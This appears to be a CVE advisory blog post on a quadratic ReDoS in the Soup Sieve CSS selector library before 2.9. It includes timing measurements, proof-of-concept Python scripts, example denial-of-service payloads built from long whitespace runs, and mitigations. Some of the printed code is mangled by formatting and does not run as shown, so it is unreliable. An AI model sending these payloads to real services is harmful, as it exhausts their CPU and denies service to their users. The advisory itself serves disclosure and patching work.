Listen to this Post
CVE-2026-85999 is a polynomial-time Regular Expression Denial of Service (ReDoS) vulnerability affecting Soup Sieve, a CSS selector library designed for use with Beautiful Soup 4, prior to version 2.9. The flaw resides in the `selector_iter` function within src/soupsieve/css_parser.py, which trims leading and trailing whitespace and comments from a raw selector string by running two regular expressions over the entire input using .search(). The trailing regex, RE_WS_END = re.compile(r'{WSC}$'), is anchored only at the end of the string ($) and not at the start. Because `.search()` retries the pattern at every possible starting offset, a long run of whitespace or CSS comments that does not sit exactly at the end of the string forces each retry to greedily consume the entire run and then fail the end-anchor check. This results in quadratic O(n²) time complexity. The vulnerability triggers on perfectly valid selectors — for example, a descendant combinator with a long whitespace gap such as `a + ” “n + b` — so no malformed input is required. A single valid selector of approximately 20 KB can stall the Python interpreter for roughly 10 seconds of CPU time. The selector string reaches this vulnerable code path through soupsieve.compile(), the `soupsieve.select/iselect/match/filter` helpers, and BeautifulSoup’s `soup.select(selector)` / `soup.select_one(selector)` methods. The vulnerability is exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup or soupsieve, while applications using only hard-coded selectors remain unaffected. The root cause is separate from the IDENTIFIER/VALUE backtracking vulnerability (CVE-2026-86000) because the cost occurs entirely in the `RE_WS_END.search` trimming step before tokenization, rather than during token matching. The resulting CPU consumption can hold the Python Global Interpreter Lock (GIL), exhaust application workers, and stall a service without causing memory corruption or code execution. The issue is fixed in version 2.9.
DailyCVE Form:
Platform: Soup Sieve
Version: Prior 2.9
Vulnerability: ReDoS
Severity: Medium
date: 2026-09-17
Prediction: 2026-09-17
What Undercode Say
Analytics
The vulnerability manifests as quadratic CPU consumption scaling with input length. Empirical measurements from the published artifact demonstrate the following performance degradation:
soupsieve 2.9
VALID selector 'a' + ' 'n + 'b' (descendant combinator, lots of whitespace):
n=2000 len=2002 112.3 ms [bash]
n=4000 len=4002 411.5 ms [bash]
n=8000 len=8002 1602.9 ms [bash]
n=16000 len=16002 6464.1 ms [bash]
VALID-looking 'a' + '/x/'n + 'b' (CSS comment run):
n=1000 len=5002 48.9 ms [bash]
n=2000 len=10002 194.8 ms [bash]
n=4000 len=20002 780.2 ms [bash]
n=8000 len=40002 3145.3 ms [bash]
[+] Single call: compile('a' + ' '20000 + 'b') (len=20002)
[+] wall time = 10.23 s [bash]
Identical O(n²) behavior was confirmed on the published PyPI release 2.8.4:
soupsieve 2.8.4
VALID selector 'a' + ' 'n + 'b':
n=2000 len=2002 102.7 ms [bash]
n=4000 len=4002 404.3 ms [bash]
n=8000 len=8002 1618.2 ms [bash]
n=16000 len=16002 6457.9 ms [bash]
[+] Single call: compile('a' + ' '20000 + 'b') wall time = 10.11 s [bash]
Isolated confirmation that the cost resides specifically in `RE_WS_END.search` shows that applying the vulnerable regex to `”div” + ” “n + “>”` produces O(n²) scaling (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored `RE_WS_BEGIN` on `” “n + “x”` remains linear (32000→1.5 ms). Profiling confirms the entire wall time is spent in two `re.Pattern.search` calls, not .match.
Bash Commands and Codes
Reproduction environment for git HEAD 751c57b (2.9, PYTHONPATH=src):
cd src && python3 ../poc/poc_redos_ws_trim.py
Reproduction environment for published PyPI soupsieve 2.8.4 (fresh uv environment):
uv pip install soupsieve beautifulsoup4 cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py
Python 3.11.15 and 3.14.6 both reproduce the issue. Evidence for the published version is available at poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log.
The proof-of-concept script (`poc/poc_redos_ws_trim.py`) is as follows:
import sys, time
sys.path.insert(0, ".")
import soupsieve as sv
def ct(sel):
t0 = time.perf_counter()
try:
sv.compile(sel); st = "ok"
except Exception as e:
st = type(e).<strong>name</strong>
return time.perf_counter() - t0, st
print(f"soupsieve {sv.<strong>version</strong>}\n")
print("VALID selector 'a' + ' 'n + 'b' (descendant combinator, lots of whitespace):")
for n in (2000, 4000, 8000, 16000):
dt, st = ct("a" + " " n + "b")
print(f" n={n:<6} len={n+2:<7} {dt1000:9.1f} ms [{st}]")
payload = "a" + " " 20000 + "b"
dt, st = ct(payload)
print(f"\n[+] Single call: compile('a' + ' '20000 + 'b') (len={len(payload)})")
print(f"[+] wall time = {dt:.2f} s [{st}]")
Isolated confirmation script (poc/isolate_ws_trim.py):
import re, time
WSC = r'(?:\s|/.?\/)'
RE_WS_END = re.compile(fr'{WSC}$')
RE_WS_BEGIN = re.compile(fr'^{WSC}')
for n in (2000, 4000, 8000, 16000):
s = "div" + " " n + ">"
t0 = time.perf_counter()
RE_WS_END.search(s)
dt = time.perf_counter() - t0
print(f"RE_WS_END on 'div'+' '{n}+'>': {dt1000:.1f} ms")
for n in (2000, 4000, 8000, 16000, 32000):
s = " " n + "x"
t0 = time.perf_counter()
RE_WS_BEGIN.search(s)
dt = time.perf_counter() - t0
print(f"RE_WS_BEGIN on ' '{n}+'x': {dt1000:.1f} ms")
How Exploit: (Educational Purposes!)
An attacker can trigger the vulnerability by supplying a valid CSS selector containing a long internal run of whitespace or CSS comments that is not positioned at the end of the string. The simplest payload is a descendant combinator with an excessive whitespace gap:
Minimal exploit: ~20 KB selector causes ~10 seconds of CPU stall malicious_selector = "a" + " " 20000 + "b" soupsieve.compile(malicious_selector)
A more realistic attack vector involves an application that accepts user-supplied CSS selectors and passes them to BeautifulSoup:
from bs4 import BeautifulSoup import soupsieve html = "<html><body> <div>content</p></div> <p></body></html>" user_selector = "div" + " " 20000 + "p" soup = BeautifulSoup(html, "html.parser") soup.select(user_selector) Triggers ~10s CPU stall
The vulnerability fires on well-formed selectors, meaning no parser error path is required. An attacker can easily craft a payload that causes a denial of service by exhausting server CPU resources, particularly in multi-threaded or asynchronous environments where the Python GIL is held during the regex execution.
Protection: from this CVE
- Upgrade to soupsieve 2.9 or later. This is the primary and most effective mitigation. The issue was fixed in version 2.9.
- Cap selector length before compilation. As a defense-in-depth measure, enforce a maximum allowed length on any user-supplied CSS selector before passing it to `soupsieve.compile()` or
BeautifulSoup.select(). - Avoid passing user-controlled selectors. If possible, restrict CSS selectors to a set of hard-coded, trusted values. Applications using only static selectors are unaffected by this vulnerability.
- Input validation. Reject or sanitize selector strings that contain excessively long runs of whitespace or CSS comments.
Impact:
- Confirmed: Quadratic CPU consumption per
compile()/select()call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. Approximately 8 KB of input causes ~1.6 seconds of CPU time; approximately 20 KB causes ~10 seconds; scaling is roughly ×4 per input size doubling. - Realistic exposure: Services that accept user-supplied CSS selectors and feed them to BeautifulSoup or soupsieve are vulnerable.
- Not claimed: No exponential blowup, memory corruption, or code execution. Impact is limited to availability (Denial of Service), and only where selectors are attacker-influenced.
- Severity: CVSS 5.3 (Medium) with vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

